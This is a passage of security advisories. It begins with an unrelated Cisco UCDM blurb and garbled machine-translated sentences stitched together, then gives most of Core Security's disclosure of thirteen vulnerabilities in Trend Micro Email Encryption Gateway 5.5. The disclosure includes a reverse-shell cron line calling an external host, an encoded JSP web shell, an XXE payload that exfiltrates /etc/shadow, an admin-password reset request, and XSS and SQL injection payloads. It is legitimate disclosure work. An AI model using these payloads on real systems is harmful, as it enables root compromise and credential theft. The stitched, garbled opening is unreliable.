A vulnerability in Cisco Unified Communications Domain Manager could allow an unauthenticated, remote attacker to bypass security protections, gain elevated privileges, and execute arbitrary code. The vulnerability is due to insecure key generation during application configuration. An attacker could exploit this vulnerability by using a known insecure key value to bypass security protections by sending arbitrary requests using the insecure key to a targeted application. An exploit could allow the attacker to execute arbitrary code. This vulnerability affects Cisco Unified Communications Domain Manager releases prior to 11.5(2). Cisco Bug IDs: CSCuv67964. Vendors have confirmed this vulnerability Bug ID CSCuv67964 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Failed exploit attempts will result in a denial-of-service condition. This component features scalable, distributed, and highly available enterprise Voice over IP call processing

Arbitrary logs location in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to change location of log files and be manipulated to execute arbitrary commands and attain command execution on a vulnerable system. Trend Micro Email Encryption Gateway Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Trend Micro Email Encryption Gateway is prone to a command-injection vulnerability because it fails to properly sanitize user-supplied input. Successfully exploiting this issue may allow an attacker to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. Trend Micro Email Encryption Gateway version 5.5 Build 1111 and prior versions are vulnerable. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

